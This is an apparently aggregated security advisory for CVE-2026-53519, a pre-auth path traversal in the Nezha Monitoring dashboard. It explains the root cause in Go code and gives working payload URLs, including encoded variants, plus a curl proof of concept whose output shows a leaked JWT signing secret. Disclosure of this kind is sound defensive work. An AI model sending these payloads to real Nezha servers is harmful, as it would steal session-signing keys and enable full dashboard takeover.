🛡️ CVE-2026-53519 — nezha
Description
Nezha Monitoring: Pre-auth path traversal via /dashboard.. prefix confusion leaks jwt_secret_key
Summary
fallbackToFrontend in the dashboard's NoRoute handler treats any URL whose raw string starts with /dashboard as an admin-frontend asset request. The check uses strings.HasPrefix, not a path-segment match, so the input /dashboard../data/config.yaml is accepted; strings.TrimPrefix leaves ../data/config.yaml; and path.Join("admin-dist", "../data/config.yaml") normalizes to data/config.yaml — which os.Stat finds and http.ServeFile returns. No authentication required.
In default deployments (the values shipped in model/config.go and the layout shipped in the project Dockerfile) data/config.yaml contains the HS256 jwt_secret_key used by cmd/dashboard/controller/jwt.go to sign every dashboard session cookie. A unauth attacker reads that secret, forges an admin JWT, and signs in as any user — full dashboard takeover from one GET request.
Details
Root cause
```go
// cmd/dashboard/controller/controller.go @ 636f4a9
387: fallbackStatusCode := getFallbackStatusCode(c.Request.URL.Path)
388: if strings.HasPrefix(c.Request.URL.Path, "/dashboard") {
389: stripPath := strings.TrimPrefix(c.Request.URL.Path, "/dashboard")
390: localFilePath := path.Join(singleton.Conf.AdminTemplate, stripPath)
391: if checkLocalFileOrFs(c, frontendDist, localFilePath, http.StatusOK) {
392: return
393: }
```
```go
// cmd/dashboard/controller/controller.go @ 636f4a9
322: func fallbackToFrontend(frontendDist fs.FS) func(*gin.Context) {
323: checkLocalFileOrFs := func(c *gin.Context, fs fs.FS, path string, customStatusCode int) bool {
324: if _, err := os.Stat(path); err == nil {
325: http.ServeFile(utils.NewGinCustomWriter(c, customStatusCode), c.Request, path)
326: return true
327: }
```
fallbackToFrontend is wired as the catch-all at cmd/dashboard/controller/controller.go:157 — r.NoRoute(fallbackToFrontend(frontendDist)) — so every URL not matched by an earlier route reaches it, including pre-auth.
Path math (verified, see appendix)
| Input URL.Path | TrimPrefix(..., "/dashboard") | path.Join("admin-dist", ...) | Reachable file |
|---|---|---|---|
| /dashboard/login | /login | admin-dist/login | legitimate, intended |
| /dashboard/../data/config.yaml | /../data/config.yaml | data/config.yaml | but blocked by Go http.ServeFile's URL ..-segment guard → 400 |
| /dashboard../data/config.yaml | ../data/config.yaml | data/config.yaml | served, 200 |
| /dashboard%2e%2e/data/config.yaml | ../data/config.yaml (decoded) | data/config.yaml | served, 200 |
| /dashboard..%2fdata/config.yaml | ../data/config.yaml (decoded) | data/config.yaml | served, 200 |
The negative control (/dashboard/../data/config.yaml) lands at the same on-disk path after path.Join, but is rejected by http.ServeFile because Go's stdlib enforces a URL-level traversal guard that fires when the request URL itself contains a standalone .. segment. The bypass works because in /dashboard../... the first URL segment is the single token dashboard.. — no standalone .. — so the stdlib guard does not trigger. The traversal segment is created after TrimPrefix, downstream of every defense.
Why the existing defenses miss
1. The prefix check is a substring test on the raw URL string, not a segment test. dashboard and dashboard.. are both accepted.
2. path.Join silently Cleans the result — so the .. is consumed correctly to escape admin-dist, with no error returned to indicate escape.
3. Go's http.ServeFile stdlib guard fires only on URLs with a standalone .. segment (per net/http.containsDotDot). The payload puts the dots inside the first segment instead.
4. No anchored "is this still under the template root?" check exists after path.Join.
PoC
Setup
```text
TARGET: github.com/nezhahq/nezha@636f4a971653ce3f5272fee99dc85c0bd5f923ef
HARNESS: stdlib-only port — see Appendix A
WORKDIR: tmpdir containing admin-dist/, user-dist/, data/config.yaml, data/sqlite.db
TIME-TO-REPRO: first request
```
The harness plants this data/config.yaml:
```yaml
debug: false
listen_port: 8008
language: en_US
jwt_secret_key: REPRO_JWT_SECRET_VALUE_DO_NOT_USE
agent_secret_key: REPRO_AGENT_SECRET_VALUE
site:
brand: nezha-repro
```
Observed responses
Primary payload — pre-auth secret disclosure:
```bash
curl -s -i --path-as-is 'http://127.0.0.1:8008/dashboard../data/config.yaml'
```
```text
HTTP/1.1 200 OK
Accept-Ranges: bytes
Content-Length: 167
Content-Type: application/yaml
Last-Modified: Sun, 24 May 2026 12:16:23 GMT
Date: Sun, 24 May 2026 12:16:25 GMT
debug: false
listen_port: 8008
language: en_US
jwt_secret_key: REPRO_JWT_SECRET_VALUE_DO_NOT_USE
agent_secret_key: REPRO_AGENT_SECRET_VALUE
site:
bra
How this vulnerability can be exploited
This issue can be reached over the network, attack complexity is low, an attacker needs no privileges on the target. No user interaction is required. The scope is unchanged, so the impact stays within the vulnerable component. Rated impact: confidentiality high, integrity high, availability none.
Weakness class
CVE-2026-53519 is classified as CWE-22: Path Traversal. A file path built from user input is not confined to the intended directory, letting an attacker reach files elsewhere on the filesystem.
Affected software
CVE-2026-53519 is recorded against 2 packages.
- github.com/nezhahq/nezha
- unknown
Timeline and source
Published on 26 June 2026 and last revised on 7 July 2026. No public exploit is currently recorded for this entry. Record sourced from NVD.
References
Details
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
Affected Packages
| Software | From version | Fixed in |
|---|---|---|
| github.com/nezhahq/nezha | — | — |
| unknown | — | — |
References
Similar Threats
- Unknown GO-2026-5821
- Unknown CVE-2026-59155
- Critical GHSA-q6xx-5vr8-p898
- Medium CVE-2026-53520
- Medium CVE-2026-53521
More CVE 2026 advisories
Browse all of CVE 2026 in the advisory index.
Exploit Protection
Are you running nezha?
CVE-2026-53519 carries CVSS 9.5 Critical rating. BotEraser checks your installation against this and other known CVE records, and blocks IPs associated with exploit activity.
Check My Site For CVE-2026-53519 →No credit card required · Results in minutes
ⓘ Data Notice: The information presented above has been compiled from publicly available internet sources. Boteraser aggregates this data solely for informational purposes and does not independently classify, evaluate, or endorse any findings about the vulnerabilities listed. The accuracy and completeness of this information is the sole responsibility of the original publishers. Boteraser and its operators accept no liability for any decisions made based on this data.